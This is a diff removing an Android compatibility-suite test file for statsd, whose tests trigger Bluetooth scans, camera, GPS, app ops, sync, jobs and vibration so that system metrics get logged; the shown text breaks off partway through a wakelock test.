@@ -1,1060 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningServiceInfo;
-import android.app.AlarmManager;
-import android.app.AppOpsManager;
-import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
-import android.app.job.JobInfo;
-import android.app.job.JobScheduler;
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.le.BluetoothLeScanner;
-import android.bluetooth.le.ScanCallback;
-import android.bluetooth.le.ScanFilter;
-import android.bluetooth.le.ScanResult;
-import android.bluetooth.le.ScanSettings;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.ApplicationInfo;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.media.MediaPlayer;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.cts.util.CtsNetUtils;
-import android.net.wifi.WifiManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-import android.os.Process;
-import android.os.SystemClock;
-import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.text.TextUtils;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.StatsEvent;
-import android.util.StatsLog;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.DummyBlobData;
-
-import com.google.common.io.BaseEncoding;
-
-import org.junit.Test;
-
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-
-public class AtomTests {
-    private static final String TAG = AtomTests.class.getSimpleName();
-
-    private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
-    private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
-    static {
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
-        // Op 96 was deprecated/removed
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_100, 100);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_101, 101);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_102, 102);
-    }
-
-    @Test
-    public void testAudioState() {
-        // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
-        Context context = InstrumentationRegistry.getContext();
-        MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
-        mediaPlayer.start();
-        sleep(2_000);
-        mediaPlayer.stop();
-    }
-
-    @Test
-    public void testBleScanOpportunistic() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
-        performBleScan(scanSettings, null,false);
-    }
-
-    @Test
-    public void testBleScanUnoptimized() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-        performBleScan(scanSettings, null, false);
-    }
-
-    @Test
-    public void testBleScanResult() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-        ScanFilter.Builder scanFilter = new ScanFilter.Builder();
-        performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
-    }
-
-    @Test
-    public void testBleScanInterrupted() throws Exception {
-        performBleAction((bluetoothAdapter, bleScanner) -> {
-            ScanSettings scanSettings = new ScanSettings.Builder()
-                    .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-            ScanCallback scanCallback = new ScanCallback() {
-                @Override
-                public void onScanResult(int callbackType, ScanResult result) {
-                    Log.v(TAG, "called onScanResult");
-                }
-                @Override
-                public void onScanFailed(int errorCode) {
-                    Log.v(TAG, "called onScanFailed");
-                }
-                @Override
-                public void onBatchScanResults(List<ScanResult> results) {
-                    Log.v(TAG, "called onBatchScanResults");
-                }
-            };
-
-            int uid = Process.myUid();
-            int whatAtomId = 9_999;
-
-            // Change state to State.ON.
-            bleScanner.startScan(null, scanSettings, scanCallback);
-            sleep(500);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            bluetoothAdapter.disable();
-            sleep(500);
-
-            // Trigger State.RESET so that new state is State.OFF.
-            if (!bluetoothAdapter.enable()) {
-                Log.e(TAG, "Could not enable bluetooth to trigger state reset");
-                return;
-            }
-            sleep(2_000); // Wait for Bluetooth to fully turn on.
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-        });
-    }
-
-    private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
-                                                            boolean field2, boolean field3,
-                                                            boolean field4) {
-        final StatsEvent.Builder builder = StatsEvent.newBuilder()
-                .setAtomId(atomId)
-                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
-                .writeBoolean(field2)
-                .writeBoolean(field3)
-                .writeBoolean(field4)
-                .usePooledBuffer();
-
-        StatsLog.write(builder.build());
-    }
-
-    /**
-     * Set up BluetoothLeScanner and perform the action in the callback.
-     * Restore Bluetooth to original state afterwards.
-     **/
-    private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
-        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
-        if (bluetoothAdapter == null) {
-            Log.e(TAG, "Device does not support Bluetooth");
-            return;
-        }
-        boolean bluetoothEnabledByTest = false;
-        if (!bluetoothAdapter.isEnabled()) {
-            if (!bluetoothAdapter.enable()) {
-                Log.e(TAG, "Bluetooth is not enabled");
-                return;
-            }
-            sleep(2_000); // Wait for Bluetooth to fully turn on.
-            bluetoothEnabledByTest = true;
-        }
-        BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
-        if (bleScanner == null) {
-            Log.e(TAG, "Cannot access BLE scanner");
-            return;
-        }
-
-        actions.accept(bluetoothAdapter, bleScanner);
-
-        // Restore adapter state
-        if (bluetoothEnabledByTest) {
-            bluetoothAdapter.disable();
-        }
-    }
-
-
-    private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
-        performBleAction((bluetoothAdapter, bleScanner) -> {
-            CountDownLatch resultsLatch = new CountDownLatch(1);
-            ScanCallback scanCallback = new ScanCallback() {
-                @Override
-                public void onScanResult(int callbackType, ScanResult result) {
-                    Log.v(TAG, "called onScanResult");
-                    resultsLatch.countDown();
-                }
-                @Override
-                public void onScanFailed(int errorCode) {
-                    Log.v(TAG, "called onScanFailed");
-                }
-                @Override
-                public void onBatchScanResults(List<ScanResult> results) {
-                    Log.v(TAG, "called onBatchScanResults");
-                    resultsLatch.countDown();
-                }
-            };
-
-            bleScanner.startScan(scanFilters, scanSettings, scanCallback);
-            if (waitForResult) {
-                waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
-            } else {
-                sleep(2_000);
-            }
-            bleScanner.stopScan(scanCallback);
-        });
-    }
-
-    @Test
-    public void testCameraState() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        CameraManager cam = context.getSystemService(CameraManager.class);
-        String[] cameraIds = cam.getCameraIdList();
-        if (cameraIds.length == 0) {
-            Log.e(TAG, "No camera found on device");
-            return;
-        }
-
-        CountDownLatch latch = new CountDownLatch(1);
-        final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
-            @Override
-            public void onOpened(CameraDevice cd) {
-                Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
-                sleep(2_000);
-                cd.close();
-            }
-            @Override
-            public void onClosed(CameraDevice cd) {
-                latch.countDown();
-                Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
-            }
-            @Override
-            public void onDisconnected(CameraDevice cd) {
-                Log.w(TAG, "CameraDevice  " + cd.getId() + " disconnected");
-            }
-            @Override
-            public void onError(CameraDevice cd, int error) {
-                Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
-            }
-        };
-
-        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
-        handlerThread.start();
-        Looper looper = handlerThread.getLooper();
-        Handler handler = new Handler(looper);
-
-        cam.openCamera(cameraIds[0], cb, handler);
-        waitForReceiver(context, 10_000, latch, null);
-    }
-
-    @Test
-    public void testFlashlight() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        CameraManager cam = context.getSystemService(CameraManager.class);
-        String[] cameraIds = cam.getCameraIdList();
-        boolean foundFlash = false;
-        for (int i = 0; i < cameraIds.length; i++) {
-            String id = cameraIds[i];
-            if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
-                cam.setTorchMode(id, true);
-                sleep(500);
-                cam.setTorchMode(id, false);
-                foundFlash = true;
-                break;
-            }
-        }
-        if(!foundFlash) {
-            Log.e(TAG, "No flashlight found on device");
-        }
-    }
-
-    @Test
-    public void testForegroundService() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        // The service goes into foreground and exits shortly
-        Intent intent = new Intent(context, StatsdCtsForegroundService.class);
-        context.startService(intent);
-        sleep(500);
-        context.stopService(intent);
-    }
-
-    @Test
-    public void testForegroundServiceAccessAppOp() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
-        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
-        // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
-        sleep(500);
-
-        // Foreground service session 1
-        context.startService(fgsIntent);
-        while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
-            sleep(50);
-        }
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
-        startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        sleep(500);
-        context.stopService(fgsIntent);
-
-        // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
-        sleep(500);
-
-        // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
-    }
-
-    @Test
-    public void testAppOps() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
-        String[] opsList = appOpsManager.getOpStrs();
-
-        for (int i = 0; i < opsList.length; i++) {
-            String op = opsList[i];
-            if (TextUtils.isEmpty(op)) {
-                // Operation removed/deprecated
-                continue;
-            }
-            int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
-            for (int j = 0; j < noteCount; j++) {
-                try {
-                    noteAppOp(appOpsManager, opsList[i]);
-                } catch (SecurityException e) {}
-            }
-        }
-    }
-
-    private void noteAppOp(AppOpsManager aom, String opStr) {
-        aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
-    }
-
-    private void startAppOp(AppOpsManager aom, String opStr) {
-        aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
-    }
-
-    /** Check if service is running. */
-    public boolean checkIfServiceRunning(Context context, String serviceName) {
-        ActivityManager manager = context.getSystemService(ActivityManager.class);
-        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
-            if (serviceName.equals(service.service.getClassName()) && service.foreground) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    @Test
-    public void testGpsScan() {
-        Context context = InstrumentationRegistry.getContext();
-        final LocationManager locManager = context.getSystemService(LocationManager.class);
-        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
-            Log.e(TAG, "GPS provider is not enabled");
-            return;
-        }
-        CountDownLatch latch = new CountDownLatch(1);
-
-        final LocationListener locListener = new LocationListener() {
-            public void onLocationChanged(Location location) {
-                Log.v(TAG, "onLocationChanged: location has been obtained");
-            }
-            public void onProviderDisabled(String provider) {
-                Log.w(TAG, "onProviderDisabled " + provider);
-            }
-            public void onProviderEnabled(String provider) {
-                Log.w(TAG, "onProviderEnabled " + provider);
-            }
-            public void onStatusChanged(String provider, int status, Bundle extras) {
-                Log.w(TAG, "onStatusChanged " + provider + " " + status);
-            }
-        };
-
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                Looper.prepare();
-                locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
-                        locListener);
-                sleep(1_000);
-                locManager.removeUpdates(locListener);
-                latch.countDown();
-                return null;
-            }
-        }.execute();
-
-        waitForReceiver(context, 59_000, latch, null);
-    }
-
-    @Test
-    public void testGpsStatus() {
-        Context context = InstrumentationRegistry.getContext();
-        final LocationManager locManager = context.getSystemService(LocationManager.class);
-
-        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
-            Log.e(TAG, "GPS provider is not enabled");
-            return;
-        }
-
-        // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
-        // max time which would be around 90 seconds.
-        // This is based on similar location cts test timeout values.
-        final int TIMEOUT_IN_MSEC = 85_000;
-        final int SLEEP_TIME_IN_MSEC = 5_000;
-
-        final CountDownLatch mLatchNetwork = new CountDownLatch(1);
-
-        final LocationListener locListener = location -> {
-            Log.v(TAG, "onLocationChanged: location has been obtained");
-            mLatchNetwork.countDown();
-        };
-
-        // fetch the networklocation first to make sure the ttff is not flaky
-        if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
-            Log.i(TAG, "Request Network Location updates.");
-            locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
-                    0 /* minTime*/,
-                    0 /* minDistance */,
-                    locListener,
-                    Looper.getMainLooper());
-        }
-        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
-
-        // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
-        // not occur in the first SLEEP_TIME_IN_MSEC
-        final CountDownLatch mLatchTtff = new CountDownLatch(1);
-
-        GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
-            @Override
-            public void onStarted() {
-                Log.v(TAG, "Gnss Status Listener Started");
-            }
-
-            @Override
-            public void onStopped() {
-                Log.v(TAG, "Gnss Status Listener Stopped");
-            }
-
-            @Override
-            public void onFirstFix(int ttffMillis) {
-                Log.v(TAG, "Gnss Status Listener Received TTFF");
-                mLatchTtff.countDown();
-            }
-
-            @Override
-            public void onSatelliteStatusChanged(GnssStatus status) {
-                Log.v(TAG, "Gnss Status Listener Received Status Update");
-            }
-        };
-
-        boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
-                gnssStatusCallback, new Handler(Looper.getMainLooper()));
-        if (!gnssStatusCallbackAdded) {
-            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
-            Log.e(TAG, "Failed to start gnss status callback");
-        }
-
-        locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
-                0,
-                0 /* minDistance */,
-                locListener,
-                Looper.getMainLooper());
-        sleep(SLEEP_TIME_IN_MSEC);
-        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
-        locManager.removeUpdates(locListener);
-        locManager.unregisterGnssStatusCallback(gnssStatusCallback);
-    }
-
-    @Test
-    public void testScreenBrightness() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
-                PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
-        wl.acquire();
-        sleep(500);
-
-        setScreenBrightness(47);
-        sleep(500);
-        setScreenBrightness(100);
-        sleep(500);
-        setScreenBrightness(198);
-        sleep(500);
-
-
-        wl.release();
-    }
-
-    @Test
-    public void testSyncState() throws Exception {
-
-        Context context = InstrumentationRegistry.getContext();
-        StatsdAuthenticator.removeAllAccounts(context);
-        AccountManager am = context.getSystemService(AccountManager.class);
-        CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
-
-        Account account = StatsdAuthenticator.getTestAccount();
-        StatsdAuthenticator.ensureTestAccount(context);
-        sleep(500);
-
-        // Just force set is syncable.
-        ContentResolver.setMasterSyncAutomatically(true);
-        sleep(500);
-        ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
-        // Wait for the first (automatic) sync to finish
-        waitForReceiver(context, 120_000, latch, null);
-
-        //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
-        sleep(500);
-
-        // Request and wait for the second sync to finish
-        latch = StatsdSyncAdapter.resetCountDownLatch();
-        StatsdSyncAdapter.requestSync(account);
-        waitForReceiver(context, 120_000, latch, null);
-        StatsdAuthenticator.removeAllAccounts(context);
-    }
-
-    @Test
-    public void testScheduledJob() throws Exception {
-        final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
-                StatsdJobService.class.getName());
-
-        Context context = InstrumentationRegistry.getContext();
-        JobScheduler js = context.getSystemService(JobScheduler.class);
-        assertWithMessage("JobScheduler service not available").that(js).isNotNull();
-
-        JobInfo.Builder builder = new JobInfo.Builder(1, name);
-        builder.setOverrideDeadline(0);
-        JobInfo job = builder.build();
-
-        long startTime = System.currentTimeMillis();
-        CountDownLatch latch = StatsdJobService.resetCountDownLatch();
-        js.schedule(job);
-        waitForReceiver(context, 5_000, latch, null);
-    }
-
-    @Test
-    public void testVibratorState() {
-        Context context = InstrumentationRegistry.getContext();
-        Vibrator vib = context.getSystemService(Vibrator.class);
-        if (vib.hasVibrator()) {
-            vib.vibrate(VibrationEffect.createOneShot(
-                    500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
-        }
-    }
-
-    @Test
-    public void testWakelockState() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
